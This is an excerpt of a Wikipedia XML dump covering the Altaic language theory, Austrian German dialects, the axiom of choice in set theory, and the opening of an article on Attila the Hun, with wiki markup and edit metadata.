There are two main schools of thought about the Altaic theory. One is that the proposed constituent language families (Turkic, Mongolic, and Tungusic in the basic theory, with the addition of Korean and Japanese in extended versions) are genetically or &quot;divergently&quot; related by descent from a common ancestor, &quot;Proto-Altaic.&quot; The other school rejects this theory (so it is often called the &quot;Anti-Altaic&quot; school) and argues that the member languages are related by convergence (mainly loan influence).

The Altaic theory is claimed by its opponents to be based mainly on typological similarities, such as [[vowel harmony]], lack of [[grammatical gender]], an [[agglutinative]] typology, and [[loanword]]s.  In fact, its proponents have put together a large variety of grammatical, lexical, and syntactic regular correspondences between the sub-groups of Altaic (e.g., Ramstedt, [[Nicholas Poppe|Poppe]], Martin, Starostin).  However, its opponents explain these as [[loanword]]s, mutual influence, or [[convergence]], arguing that, although the Turkic, Mongolian, and Tungusic families do have similarities, they are the result of intensive borrowing and long contact among speakers. 

The Altaic theory is highly controversial. While some support it, others (e.g., Doerfer 1963) do not regard Altaic as a valid group and see it as three (or more) separate language families. Other linguists, such as [[Bernard Comrie]] (1992, 2003), argue that Altaic may be part of a larger grouping, such as [[Nostratic]] or [[Eurasiatic languages|Eurasiatic]].  In contrast, [[J. Marshall Unger]] (1990) believes that languages such as Korean and Japanese may be part of a &quot;macro-Tungusic&quot; family. Vovin rejected the claim for a Koreo-Japonic branch of Altaic on the basis that they have no [[comparative_method|shared innovation]]s.

==See also==
* [[Altay language]]
* [[Language families and languages]]
* [[Nostratic]]

==External links==
*[http://starling.rinet.ru/ Starling Etymological Databases]
*[http://altaica.narod.ru/Engl.htm/ Monumenta Altaica - Altaic Linguistics]

[[Category:Altai]]
[[Category:Altaic languages| ]]

[[ar:ألطية]]
[[ast:Familia altaica]]
[[bg:Алтайски езици]]
[[be:Алтайскія мовы]]
[[de:Altaisprachen]]
[[es:Lenguas altaicas]]
[[fa:زبان‌های آلتایی]]
[[fr:Langues altaïques]]
[[ko:알타이어족]]
[[io:Altaika linguaro]]
[[id:Bahasa Altai]]
[[lt:Altajaus kalbos]]
[[hu:Altáji nyelvcsalád]]
[[nl:Altaïsche talen]]
[[ja:アルタイ諸語]]
[[pl:Języki ałtajskie]]
[[pt:Línguas altaicas]]
[[ro:Limbi altaice]]
[[ru:Алтайские языки]]
[[sl:Altajski jeziki]]
[[fi:Altailaiset kielet]]
[[sv:Altaiska språk]]
[[vi:Hệ ngôn ngữ Altai]]
[[uk:Алтайські мови]]
[[zh:阿尔泰语系]]</text>
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  <page>
    <title>Austrian German</title>
    <id>825</id>
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      <contributor>
        <username>Svenska84</username>
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      <comment>/* Influence of popular culture */  Linguistic research has consistently shown the media don't cause dialect death. Also, if  ialects are dying out in most other places in Europe that needs citation</comment>
      <text xml:space="preserve">'''Austrian German''' is any variety of the [[German language]] spoken in [[Austria]]. There is no unitary Austrian [[language]], but a variety of [[High Germanic languages|High German]] [[dialect]]s are spoken. Besides the Germanic languages discussed here, [[minority language]]s such as [[Slovenian language|Slovenian]], [[Croatian language|Croatian]], and [[Hungarian language|Hungarian]] are spoken in parts of the country.

==Overview== 
* [[Standard German]], called ''&quot;High German&quot;'' (German: ''standardsprache'' (by philologists), generally (incorrectly) referred to as ''Hochdeutsch'') in Austria.
* [[Vorarlbergerisch]], spoken in [[Vorarlberg]], is an [[Alemannic German|Alemannic]] dialect similar to [[Swiss German]].
* All other dialects belong to the [[Austro-Bavarian]] group, which is a common language throughout much of the country.

==Subgroups==
Ordinarily, the latter dialects are considered to belong either to the [[Central Austro-Bavarian]] or [[Southern Austro-Bavarian]] subgroups, with the latter encompassing the languages of the [[Tyrol]], [[Carinthia (state)|Carinthia]], and [[Styria (state)|Styria]] and the former including the dialects of [[Vienna]], [[Upper Austria]], and [[Lower Austria]]. The dialect spoken in Vorarlberg is more closely related to [[Swiss German]] than it is to other Austrian dialects, so Austrians from outside Vorarlberg normally cannot understand it.

==Intercomprehensiblity and regional accents==
While strong forms of the various dialects are not normally comprehensible to Northern [[Germany|Germans]], there is virtually no communication barrier to speakers from [[Bavaria]]. The [[Central Austro-Bavarian]] dialects are more intelligible to speakers of Standard German than the [[Southern Austro-Bavarian]] dialects of [[Tyrol (state)|Tirol]]. [[Viennese language|Viennese]], the Austro-Bavarian dialect of [[Vienna]], is most frequently used in [[Germany]] for impersonations of the typical inhabitant of Austria. The people of [[Graz]], the capital of [[Styria (state)|Styria]], speak yet another dialect which is not very Styrian and more easily understood by people from other parts of Austria than other Styrian dialects, for example from western [[Styria (state)|Styria]].

Simple words in the various dialects are very similar, but pronunciation is distinct for each and it is very easy for an Austrian after a few spoken words to judge which  Austrian dialect someone speaks. However, if it goes into the dialects of the deeper valleys of [[Tyrol]], sometimes even other Tyroleans are helpless to understand the dialect. Speakers from the different [[States of Austria|states]] of Austria can usually easily be distinguished from each other by their particular accents (probably more so than Bavarians), with those of [[Carinthia (state)|Carinthia]], [[Styria (state)|Styria]], [[Vienna]], [[Upper Austria]], and the Tyrol being very characteristic. Speakers from those regions, even those speaking [[Standard German]], can usually be easily identified by their accent, even by an untrained listener. 

Several of the dialects have been influenced by contact with non-Germanic linguistic groups, such as the dialect of Carinthia, where in the past many speakers were bilingual with [[Slovenian language|Slovenian]], and the dialect of Vienna, which has been influenced by immigration during the [[Austria-Hungary|Austro-Hungarian]] period, particularly from what is today the [[Czech Republic]]. 

Interestingly, the geographic borderlines between the different accents coincide strongly with the borders of the states and also with the border to [[Bavaria]], with Bavarians having a markedly different rhythm of speech in spite of the similarities in the language as such.

==Standard German in Austria==
With German being a [[pluricentric language]], Austrian dialects should not be confused with the variety of [[Standard German]] spoken by most Austrians, which is distinct from that of [[Germany]] or [[Switzerland]]. Distinctions in vocabulary persist, for example, in [[culinary]] terms, where communication with Germans is frequently difficult, and [[administration|administrative]] and [[law|legal]] language, which is due to Austria's exclusion from the development of a German [[nation-state]] in the late [[19th century]] and its manifold particular traditions.

Austrians speaking Standard German can almost always be recognised by their accent, much more so than speakers from most regions of [[Germany]].

When Austria became a member of the European Union, the Austrian variety of the German language (limited to 23 agricultural terms) was “protected” in the so-called Protocol no. 10 regarding the use of specific Austrian terms of the German language in the framework of the European Union, which forms part of the Austrian EU accession treaty. Austrian German is the only variety of a pluricentric language recognised under international law / EU primary law. All facts concerning “Protocol no. 10” are documented in Markhardt, Heidemarie: Das österreichische Deutsch im Rahmen der EU, Peter Lang, 2005.
==Influence of popular culture==
Dialects are receding in Austria as they are in some other areas of [[Europe]], but it can safely be said that they are more persistent than in most of Germany. Dialects are frequently used in TV series or movies in situation where it is appropriate for the particular character and situation. A classic example of a strong form of Viennese working-class dialect, for example, would be ''[[Ein echter Wiener geht nicht unter]]''. However, strong varieties of dialect are not used quite as much as, for example, in Switzerland. For example, educated people in Vienna usually speak a very slight form of dialect or simply Standard German, but with the characteristic Viennese accent and, where it exists, particular Austrian and Viennese vocabulary.

A good reference for the Austrian, Bavarian and other German dialects are the dialect (&quot;Mundart&quot;) editions of [[Asterix]] and [[Obelix]] comic books which are available in [[Viennese language|Viennese]] (three editions with different dialects from inside [[Vienna]]) and at least one for the common Tyrolean dialect and one for a deep Styrian dialect.

==See also==
*[[Austro-Bavarian]]
*[[Viennese German]]

[[Category:High Germanic languages]]
[[Category:Languages of Austria|*]]

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  <page>
    <title>Axiom of choice</title>
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      <comment>/* Results requiring ¬AC */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''axiom of choice''', or '''AC''', is an [[axiom]] of [[set theory]]. It was formulated in [[1904]] by [[Ernst Zermelo]].  While it was originally controversial, it is now used without embarrassment by most mathematicians.  However, there are still schools of mathematical thought, primarily within set theory, that either reject the axiom of choice, or even investigate consequences of axioms inconsistent with AC.

Intuitively speaking, AC says that given a collection of bins, each containing at least one object, then exactly one object from each bin can be picked and gathered in another bin - even if there are [[infinite]]ly many bins, and there is no &quot;rule&quot; for which object to pick from each.

== Statement ==

The axiom of choice states:
:Let ''X'' be a [[set]] of [[non-empty]] sets. Then we can [[choice function|choose]] a member from each set in ''X''.
Stated more formally:
:Let ''X'' be a set of non-empty sets. Then there exists a [[choice function]] ''f'' defined on ''X''. In other words, there exists a function ''f'' defined on ''X'', such that for each set ''s'' in ''X'', ''f''(''s'') is an element of ''s''.
Another formulation of the axiom of choice states:
:Given any set of mutually disjoint non-empty sets, there exists at least one set that contains exactly one element in common with each of the non-empty sets.

== Usage ==

Until the late 19th century, the axiom of choice was often used implicitly. For example, after having established that the set ''X'' contains only non-empty sets, a mathematician might have said &quot;let ''F(s)'' be one of the members of ''s'' for all ''s'' in ''X''.&quot;  In general, it is impossible to prove that ''F'' exists without the axiom of choice, but this seems to have gone unnoticed until Zermelo.

Not every situation requires the axiom of choice.  For finite sets ''X'', the axiom of choice follows from the other axioms of set theory.  In that case it is equivalent to saying that if we have several (a finite number of) boxes, each containing at least one item, then we can choose exactly one item from each box.  Clearly we can do this: We start at the first box, choose an item; go to the second box, choose an item; and so on.  There are only finitely many boxes, so eventually our choice procedure comes to an end.  The result is an explicit choice function: a function that takes the first box to the first element we chose, the second box to the second element we chose, and so on.  (A formal proof for all finite sets would use the principle of [[mathematical induction]].)

For certain infinite sets ''X'', it is also possible to avoid the axiom of choice.  For example, suppose that the elements of ''X'' are sets of natural numbers.  Every nonempty set of natural numbers has a least element, so to specify our choice function we can simply say that it takes each set to the least element of that set.  This gives us a definite choice of an element from each set and we can write down an explicit expression that tells us what value our choice function takes.  Any time it is possible to specify such an explicit choice, the axiom of choice is unnecessary.

The difficulty appears when there is no natural choice of elements from each set.  If we cannot make explicit choices, how do we know that our set exists?  For example, suppose that ''X'' is the set of all non-empty subsets of the [[real number]]s.  First we might try to proceed as if ''X'' were finite.  If we try to choose an element from each set, then, because ''X'' is infinite, our choice procedure will never come to an end, and consequently, we will never be able to produce a choice function for all of ''X''.  So that won't work.  Next we might try the trick of specifying the least element from each set.  But some subsets of the real numbers don't have least elements.  For example, the open interval (0,1) does not have a least element: If ''x'' is in (0,1), then so is ''x''/2, and ''x''/2 is always strictly smaller than ''x''.  So taking least elements doesn't work, either.

The reason that we are able to choose least elements from subsets of the natural numbers is the fact that the natural numbers are [[well-order]]ed: Every subset of the natural numbers has a unique least element.  Perhaps if we were clever we might say, &quot;Even though the usual ordering of the real numbers does not work, it may be possible to find a different ordering of the real numbers which is a well-ordering.  Then our choice function can choose the least element of every set under our unusual ordering.&quot;  The problem then becomes constructing such an ordering, and it turns out that every set can be well-ordered if and only if the axiom of choice is true.

A proof requiring the axiom of choice is always [[nonconstructive proof|nonconstructive]]: even if the proof produces an object then it is impossible to say exactly what that object is.  Consequently, while the axiom of choice asserts that there is a well-ordering of the real numbers, it does not give us an example of one.  Yet the reason why we chose above to well-order the real numbers was so that for each set in ''X'', we could explicitly choose an element of that set.  If we cannot write down the well-ordering we are using, then our choice is not very explicit.  This is one of the reasons why some mathematicians dislike the axiom of choice.  For example, [[constructivism (mathematics)|constructivists]] posit that all existence proofs should be totally explicit; it should be possible to construct anything that exists.  They reject the axiom of choice because it asserts the existence of an object without telling what it is.

== Independence of AC ==

By work of [[Kurt Gödel]] and [[Paul Cohen]], the axiom of choice is [[logically independent]] of the other axioms of [[Zermelo-Fraenkel set theory]] (ZF).  This means that neither it nor its negation can be proven to be true in ZF.  Consequently, assuming the axiom of choice, or its negation, will never lead to a contradiction that could not be obtained without that assumption.

So the decision whether or not it is appropriate to make use of the axiom of choice in a proof cannot be made by appeal to other axioms of set theory.  The decision must be made on other grounds.

One argument given in favor of using the axiom of choice is that it is convenient to use it: using it cannot hurt (cannot result in contradiction) and makes it possible to prove some propositions that otherwise could not be proved.

The axiom of choice is not the only significant statement which is independent of ZF.  For example, the [[generalized continuum hypothesis]] (GCH) is not only independent of ZF, but also independent of ZF plus the axiom of choice (ZFC).  However, ZF plus GCH implies AC, making GCH a strictly stronger claim than AC, even though they are both independent of ZF.

One reason that some mathematicians dislike the axiom of choice is that it implies the existence of some bizarre counter-intuitive objects.  An example of this is the [[Banach–Tarski paradox]] which says in effect that it is possible to &quot;carve up&quot; the 3-dimensional solid unit ball into finitely many pieces and, using only rotation and translation, reassemble the pieces into two balls each with the same volume as the original.  Note that the proof, like all proofs involving the axiom of choice, is an existence proof only: it does not tell us how to carve up the unit sphere to make this happen, it simply tells us that it can be done.

On the other hand, the [[negation]] of the axiom of choice is also bizarre.  For example, the statement that for any two sets ''S'' and ''T'', the [[cardinality]] of ''S'' is less than or equal to the cardinality of ''T'' or the cardinality of ''T'' is less than or equal to the cardinality of ''S'' is equivalent to the axiom of choice.  Put differently, if the axiom of choice is false, then there are sets ''S'' and ''T'' of incomparable size: neither can be mapped in a one-to-one fashion onto a subset of the other.

A third possibility is to prove theorems using neither the axiom of choice nor its negation, a tactic preferred in constructive mathematics.  Such statements will be true in any [[model theory|model]] of Zermelo–Fraenkel set theory, regardless of the truth or falsity of the axiom of choice in that particular model.  This renders any claim that relies on either the axiom of choice or its negation undecidable.  For example, under such an assumption, the Banach–Tarski paradox is neither true nor false: It is impossible to construct a decomposition of the unit ball which can be reassembled into two unit balls, and it is also impossible to prove that it can't be done.  However, the Banach–Tarski paradox can be rephrased as a statement about models of ZF by saying, &quot;In any model of ZF in which AC is true, the Banach–Tarski paradox is true.&quot;  Similarly, all the statements listed below under [[#Results requiring AC|Results requiring AC]] are undecidable in ZF, but since each is provable in any model of ZFC, there are models of ZF in which each statement is true.

== Weaker forms of AC ==

There are several weaker statements which are not equivalent to the axiom of choice, but which are closely related.  A simple one is the [[axiom of countable choice]], which states that a choice function exists for any countable set ''X''.  This usually suffices when trying to make statements about the real numbers, for example, because the rational numbers, which are countable, form a dense subset of the reals.  See also the [[Boolean prime ideal theorem]], the [[ultrafilter lemma]], the [[axiom of dependent choice]], and the [[Uniformization (set theory)|axiom of uniformization]].

== Results requiring AC (or weaker forms) ==

One of the most interesting aspects of the axiom of choice is the large number of places in mathematics that it shows up. There are also a remarkable number of important statements that, assuming the axioms of ZF but neither AC nor ¬AC, are equivalent to the axiom of choice.  The most important among them are [[Zorn's lemma]] and the [[well-ordering theorem]]: every set can be well-ordered.  In fact, Zermelo initially introduced the axiom of choice in order to formalize his proof of the well-ordering principle.  Here are some statements that require the axiom of choice in the sense that they are not provable from ZF but are provable from ZFC (ZF plus AC).  Equivalently, these statements are true in all models of ZFC but false in some models of ZF.

* [[Set theory]]
** Any [[union (set theory)|union]] of [[countable|countably many]] countable sets is itself countable.
** If the set ''A'' is [[infinite]], then there exists an [[injective function|injection]] from the [[natural number]]s '''N''' to ''A''.
** If the set ''A'' is infinite, then ''A'' and ''A''×''A'' have the same [[cardinality]]. ''(This statement is equivalent to AC (over ZF))''
** [[Trichotomy]]: If two sets are given, then they either have the same cardinality, or one has a smaller cardinality than the other. ''(This statement is equivalent to AC (over ZF))''
** The product of any nonempty family of nonempty sets is nonempty. ''(This statement is equivalent to AC (over ZF))''
** Every infinite [[determinacy#Basic notions|game]] &lt;math&gt;G(T,X)&lt;/math&gt; where &lt;math&gt;X&lt;/math&gt; is either [[open set|open]] or [[closed set|closed]] is [[determinacy#Basic notions|determined]].

* [[Measure theory]]
** The [[Vitali set|Vitali theorem]] on the existence of [[non-measurable set]]s.
** The [[Hausdorff paradox]].
** The [[Banach–Tarski paradox]].

* [[Algebra]]
** Every [[vector space]] has a [[basis (linear algebra)|basis]]. ''(This statement is equivalent to AC (over ZF))''
** Every unital [[ring (mathematics)|ring]] other than the trivial ring contains a [[maximal ideal]].
** Every [[field (mathematics)|field]] has an [[algebraic closure]].
** Every [[field extension]] has a [[transcendence basis]].
** Every [[category (category theory)|category]] has a [[skeleton (category theory)|skeleton]].
** [[Stone's representation theorem for Boolean algebras]] needs the [[Boolean prime ideal theorem]].
** The [[Nielsen-Schreier theorem]], that every subgroup of a free group is free.
** The [[additive group]]s of '''[[real numbers|R]]''' and '''[[complex numbers|C]]''' are isomorphic. [http://www.cs.nyu.edu/pipermail/fom/2006-February/009959.html]

* [[Functional analysis]]
** The [[Hahn-Banach theorem]] in [[functional analysis]], allowing the extension of [[linear map|linear functionals]]
** The theorem that every [[Hilbert space]] has an orthonormal basis.
** The [[Banach-Alaoglu theorem]] about [[compactness]] of sets of functionals.
** The [[Baire category theorem]] about [[complete space|complete]] [[metric space]]s, and its consequences, such as the [[open mapping theorem]] and the [[closed graph theorem]].

* [[General topology]]
** [[Tychonoff's theorem]] stating that every [[product topology|product]] of [[compact]] [[topological space]]s is compact. ''(This statement is equivalent to AC (over ZF))''
** In the product topology, the [[closure (topology)|closure]] of a product of subsets is equal to the product of the closures.
** Any product of [[complete space|complete]] [[uniform space]]s is complete.
** A uniform space is compact if and only if it is complete and totally bounded.
** Every [[Tychonoff space]] has a [[Stone-Cech compactification]].

== Results requiring ¬AC ==

There are models of Zermelo-Fraenkel set theory in which the axiom of choice is false.  We will abbreviate &quot;Zermelo-Fraenkel set theory plus the negation of the axiom of choice&quot; by ZF¬C.  For certain models of ZF¬C, it is possible to prove the negation of some standard facts.
Note that any model of ZF¬C is also a model of ZF, so for each of the following statements, there exists a model of ZF in which that statement is true.

*There exists a model of ZF¬C in which there is a function ''f'' from the real numbers to the real numbers such that ''f'' is not continuous at ''a'', but for any sequence {''x&lt;sub&gt;n&lt;/sub&gt;''} converging to ''a'', lim&lt;sub&gt;''n''&lt;/sub&gt; f(''x&lt;sub&gt;n&lt;/sub&gt;'')=f(a).
*There exists a model of ZF¬C in which real numbers are a countable union of countable sets.
*There exists a model of ZF¬C in which there is a field with no algebraic closure.
*In all models of ZF¬C there is a vector space with no basis.
*There exists a model of ZF¬C in which there is a vector space with two bases of different cardinalities.

For proofs, see Thomas Jech, ''The Axiom of Choice'', American Elsevier Pub. Co., New York, 1973.

*There exists a model of ZF¬C in which every set in R&lt;sup&gt;''n''&lt;/sup&gt; is [[measurable]].  Thus it is possible to exclude counterintuitive results like the [[Banach–Tarski paradox]] which are provable in ZFC.  Furthermore, this is possible whilst assuming the [[Axiom of dependent choice]], which is weaker than AC but sufficient to develop most of [[real analysis]].
*In all models of ZF¬C, the [[Continuum hypothesis|generalized continuum hypothesis]] does not hold.

== Results requiring choice in intuitionistic logic, though not classically ==
Interestingly, in various varieties of [[constructive logic]] (in particular, [[intuitionistic logic]]) in which the [[law of excluded middle]] is not assumed, the assumption of the axiom of choice is sufficient to obtain the law of excluded middle as a theorem. To see this, for any proposition &lt;math&gt;P\,,&lt;/math&gt; let &lt;math&gt;U\,&lt;/math&gt; be the set &lt;math&gt;\{x \in \{0, 1\} : (x = 0) \vee P\}&lt;/math&gt; and let &lt;math&gt;V\,&lt;/math&gt; be the set &lt;math&gt;\{x \in \{0, 1\} : (x = 1) \vee P\}&lt;/math&gt; (see [[Set-builder notation]]). By the axiom of choice, there will exist a choice function &lt;math&gt;f\,&lt;/math&gt; for the set &lt;math&gt;\{U, V\}\,&lt;/math&gt; (note that, although the axiom of choice isn't classically required in order to obtain choice functions for finite sets, it is necessary here in intuitionistic logic). Since &lt;math&gt;f(U) \in U&lt;/math&gt; and &lt;math&gt;f(V) \in V&lt;/math&gt;, this implies &lt;math&gt;[(f(U) = 0) \vee P] \wedge [(f(V) = 1) \vee P]&lt;/math&gt;, which implies &lt;math&gt;f(U) \neq f(V) \vee P&lt;/math&gt;. Since &lt;math&gt;P\,&lt;/math&gt; implies &lt;math&gt;U = V = \{0, 1\}\,&lt;/math&gt;, it must be that &lt;math&gt;P\,&lt;/math&gt; implies &lt;math&gt;f(U) = f(V)\,&lt;/math&gt;, so &lt;math&gt;f(U) \neq f(V) \vee P&lt;/math&gt; would imply &lt;math&gt;\neg P \vee P&lt;/math&gt;. As this could be done for any proposition &lt;math&gt;P\,&lt;/math&gt;, this completes the proof that the axiom of choice implies the law of the excluded middle.

The above proof is not valid in all intuitionistic deductive systems.  For example, in the [[intuitionistic type theory]] of [[Per Martin-Löf]], the axiom of choice is a theorem, yet excluded middle is not.

== Quotes ==

:The Axiom of Choice is obviously true, the [[Well-ordering theorem|well-ordering principle]] obviously false, and who can tell about [[Zorn's lemma]]?
::&amp;mdash;&amp;nbsp;[[Jerry Bona]] 

:::This is a joke that although the axiom of choice, the well-ordering principle, and Zorn's lemma are mathematically equivalent, most mathematicians find the axiom of choice to be intuitive, the well-ordering principle to be counterintuitive, and Zorn's lemma to be too complex for any intuition.

:The Axiom of Choice is necessary to select a set from an infinite number of socks, but not an infinite number of shoes.
::&amp;mdash;&amp;nbsp;[[Bertrand Russell]]

:::The observation here is that one can define a function to select from an infinite number of pairs of shoes by stating for example, to choose the left shoe.  Without the axiom of choice, one cannot assert that such a function exists for pairs of socks, because left and right socks are (presumably) identical to each other.

:The axiom gets its name not because mathematicians prefer it to other axioms.
::&amp;mdash;&amp;nbsp;[[A. K. Dewdney]]

:::From the famous [[April Fool's Day]] article in the ''computer recreations'' column of the ''[[Scientific American]]'', April 1989.

== External links ==

* There are many people still doing work on the axiom of choice and its consequences.  If you are interested in more, look up [http://www.emunix.emich.edu/~phoward/ Paul Howard at EMU].

== References ==
* Zermelo, Ernst, &quot;Beweis, dass jede Menge wohlgeordnet werden kann&quot;, ''[[Mathematische Annalen]]'', '''59''', 514-516, 1904
* Zermelo, Ernst, &quot;Untersuchungen über die Grundlagen der Mengenlehre I&quot;, ''Mathematische Annalen'', '''65''', 261-281, 1908

[[Category:Axioms of set theory]]
[[Category:Model theory]]

[[cs:Axiom výběru]]
[[da:Udvalgsaksiomet]]
[[de:Auswahlaxiom]]
[[fr:Axiome du choix]]
[[ko:선택공리]]
[[it:Assioma della scelta]]
[[he:אקסיומת הבחירה]]
[[hu:Kiválasztási axióma]]
[[nl:Keuzeaxioma]]
[[ja:選択公理]]
[[pl:Aksjomat wyboru]]
[[pt:axioma da escolha]]
[[ru:Аксиома выбора]]
[[sv:Urvalsaxiomet]]</text>
    </revision>
  </page>
  <page>
    <title>Attila the Hun</title>
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      <minor />
      <comment>/* Appearance, character, and name */ [[List of Hunnish rulers]]</comment>
      <text xml:space="preserve">{{featured article}}
:''For other uses, see [[Attila (disambiguation)]].''
[[Image:Checa-HunCharge.jpg|right|thumb|300px|The [[Huns]], led by Attila (right, foreground), ride into [[Italy]].]]

'''Attila the Hun''' ([[Old Norse]]: ''Atle, Atli''; [[Middle High German]]: ''Etzel''; ca. [[406]]&amp;ndash;[[453]] [[Anno Domini|AD]]) was the last and most powerful king of the [[Huns]]. &lt;!--He was from [[Bulgars]] [[clan]] of [[Dulo]]. This information looks bogus. References please--&gt; He reigned over what was then [[Europe]]'s largest [[empire]], from [[434]] until his death. His empire stretched from [[Central Europe]] to the [[Black Sea]] and from the [[Danube|Danube River]] to the [[Baltic Sea|Baltic]]. During his rule he was among the direst enemies of the Eastern and Western [[Roman Empire]]s: he invaded the [[Balkans]] twice and encircled [[Constantinople]] in the second invasion. He marched through [[Gaul]] (later [[France]]) as far as [[Orleans]] before being turned back at [[Battle of Chalons|Chalons]]; and he drove the western emperor [[Valentinian III]] from his [[capital]] at [[Ravenna]] in [[452]].

Though his empire died with him and he left no remarkable [[legacy]], he has become a legendary figure in the [[history of Europe]]. In much of [[Western Europe]], he is remembered as the epitome of cruelty and rapacity. In contrast, some histories lionize him as a great and noble king, and he plays major roles in three [[Norse saga]]s.

==Background and beginnings==
:''Main article: [[Huns]]''

The European [[Huns]] are often thought to have been a western extension of the [[Xiongnu]] (''Xiōngnú''), (匈奴) n., a group of [[nomad]] tribes from north-eastern [[China]] and [[Central Asia]]. These people achieved military superiority over their rivals (most of them highly cultured and civilized) by their state of readiness for combat, amazing mobility, and weapons like the [[Hun bow]].

Attila was born around 406. Nothing certain is known about his childhood; the supposition that at a young age he was already a capable leader and a capable warrior is reasonable but unknowable.

Following [[negotiation]] of peace terms in [[418]], the young Attila, at the age of 12, was sent as a child [[hostage]] to the Roman [[Royal court|court]] of Emperor [[Flavius Augustus Honorius|Honorius]]. In return, the Huns received [[Flavius Aetius]], in a child hostage exchange arranged by the Romans.

Most likely the empire schooled Attila in its courts, customs and traditions and in its luxurious [[lifestyle]], in the hope that he would carry an appreciation of these things back to his own nation, thus serving to extend Roman influence. The Huns would probably have hoped that Attila would enhance [[espionage]] capabilities by the exchange. 

Attila attempted escape during his stay in Rome but failed. He turned his attention to an intense study of the empire while outwardly ceasing to struggle against his hostage status. He studied the internal and [[Foreign policy|foreign policies]] of the Romans. He often secretly observed them in [[Diplomacy|diplomatic]] conference with [[foreign minister]]s. He learned about [[leadership]], [[Protocol (diplomacy)|protocol]] and other essentials suited to future rulers and diplomats.

==Shared kingship==
[[Image:Huns empire.png|thumb|300px|left|The Hunnish empire stretched from the [[steppe]]s of Central Asia into modern [[Germany]], and from the Danube river to the Baltic Sea]]

By [[432]], the Huns were united under [[Ruga]]. In [[434]] Ruga died, leaving his [[nephew]]s Attila and [[Bleda]], the sons of his brother [[Mundjuk]], in control over all the united Hun tribes. At the time of their accession, the Huns were [[bargain]]ing with [[Theodosius II]]'s envoys over the return of several [[renegade]] tribes who had taken refuge within the [[Byzantine Empire]]. The following year, Attila and Bleda met with the imperial legation at Margus (present-day [[Pozarevac|Požarevac]])  and, all seated on horseback in the Hunnic manner, negotiated a successful [[treaty]]: the Romans agreed not only to return the fugitive tribes (who had been a welcome aid against the [[Vandals]]), but also to double their previous tribute of 350 Roman pounds (ca. 114.5 kg) of gold, open their markets to Hunnish traders, and pay a ransom of eight ''[[solidus (coin)|solidi]]'' for each Roman taken prisoner by the Huns. The Huns, satisfied with the treaty, decamped from the empire and departed into the interior of the [[continent]], perhaps to consolidate and strengthen their empire. Theodosius used this opportunity to strengthen the [[walls of Constantinople]], building the city's first [[sea wall]], and to build up his border defenses along the Danube.

The Huns remained out of Roman sight for the next five years. During this time, they were conducting an [[invasion]] of the [[Persian Empire]]. However, in [[Armenia]], a Persian counterattack resulted in a defeat for Attila and Bleda, and they ceased their efforts to conquer Persia. In [[440]], they reappeared on the borders of the empire, attacking the merchants at the market on the north bank of the Danube that had been arranged for by the treaty. Attila and Bleda threatened further war, claiming that the Romans had failed to fulfil their treaty obligations and that the [[bishop]] of Margus (not far from modern [[Belgrade]]) had crossed the Danube to ransack and desecrate the royal Hun graves on the Danube's north bank. They crossed the Danube and laid waste to [[Illyria]]n cities and forts on the river, among them, according to [[Priscus]], [[Viminacium]], which was a city of the [[Moesian]]s in Illyria. Their advance began at Margus, for when the Romans discussed handing over the offending bishop, he slipped away secretly to the barbarians and betrayed the city to them.

Theodosius had stripped the river's defenses in response to the Vandal [[Geiseric]]'s capture of [[Carthage]] in [[440]] and the [[Sassanid dynasty|Sassanid]] [[Yazdegerd II of Persia|Yazdegerd II]]'s invasion of [[Armenia]] in [[441]]. This left Attila and Bleda a clear path through Illyria into the Balkans, which they invaded in 441. The Hunnish army, having sacked Margus and Viminacium, took Sigindunum (modern [[Belgrade]]) and [[Sirmium]] before halting its operations. A lull followed during [[442]], when Theodosius recalled his troops from [[North Africa]] and ordered a large new issue of coins to finance operations against the Huns. Having made these preparations, he thought it safe to refuse the Hunnish kings' demands.

Attila and Bleda responded by renewing their [[Military campaign|campaign]] in [[443]]. Striking along the Danube, they overran the military centers of [[Ratiara]] and successfully besieged Naissus (modern [[Niš]]) with [[battering ram]]s and rolling towers&amp;mdash;military sophistication that was new in the Hun repertory&amp;mdash;then pushing along the [[Nisava]] they took Serdica ([[Sofia]]), Philippopolis ([[Plovdiv]]), and [[Arcadiopolis]]. They encountered and destroyed the Roman force outside Constantinople and were only halted by their lack of [[siege|siege equipment]] capable of breaching the city's massive walls. Theodosius admitted defeat and sent the court official [[Anatolius]] to negotiate peace terms, which were harsher than the previous treaty: the Emperor agreed to hand over 6,000 Roman pounds (ca. 1,963 kg) of gold as punishment for having disobeyed the terms of the treaty during the invasion; the yearly tribute was tripled, rising to 2,100 Roman pounds (ca. 687 kg) in gold; and the ransom for each Roman prisoner rose to 12 ''solidi''.

Their desires contented for a time, the Hun kings withdrew into the interior of their empire. According to [[Jordanes]] (following [[Priscus]]), sometime during the peace following the Huns' withdrawal from Byzantium (probably around [[445]]), Bleda died (killed by his brother, according to the classical sources), and Attila took the throne for himself. Now undisputed lord of the Huns, he again turned towards the eastern Empire.
*[http://www29.homepage.villanova.edu/christopher.haas/embassy.htm Priscus of Panium: fragments from the Embassy to Attila]

==Sole ruler==
Constantinople suffered major [[natural disaster|natural]] (and man-made) disasters in the years following the Huns' departure: bloody [[riot]]s between the [[Chariot racing#Byzantine chariot racing|racing factions]] of the [[Hippodrome of Constantinople|Hippodrome]]; [[Pandemic|plague]]s in [[445]] and [[446]], the second following a [[famine]]; and a four-month series of [[earthquake]]s which levelled much of the [[defensive wall|city wall]] and killed thousands, causing another [[epidemic]]. This last struck in [[447]], just as Attila, having consolidated his power, again rode south into the empire through [[Moesia]]. The [[Roman military history|Roman army]], under the [[Goths|Gothic]] ''[[magister militum]]'' [[Arnegisclus]], met him on the river [[Vid]] and was defeated&amp;mdash;though not without inflicting heavy losses. The Huns were left unopposed and rampaged through the Balkans as far as [[Thermopylae]]; Constantinople itself was saved by the intervention of the prefect [[Flavius Constantinus]], who organized the citizenry to reconstruct the earthquake-damaged walls, and in some places to construct a new line of fortification in front of the old. An account of this invasion survives:

: ''The barbarian nation of the Huns, which was in [[Thrace]], became so great that more than a hundred cities were captured and Constantinople almost came into danger and most men fled from it. … And there were so many murders and blood-lettings that the dead could not be numbered. Ay, for they took captive the [[churches]] and [[monasteries]] and slew the monks and maidens in great numbers.''
::&amp;mdash; Callinicus, in his ''Life of Saint Hypatius''
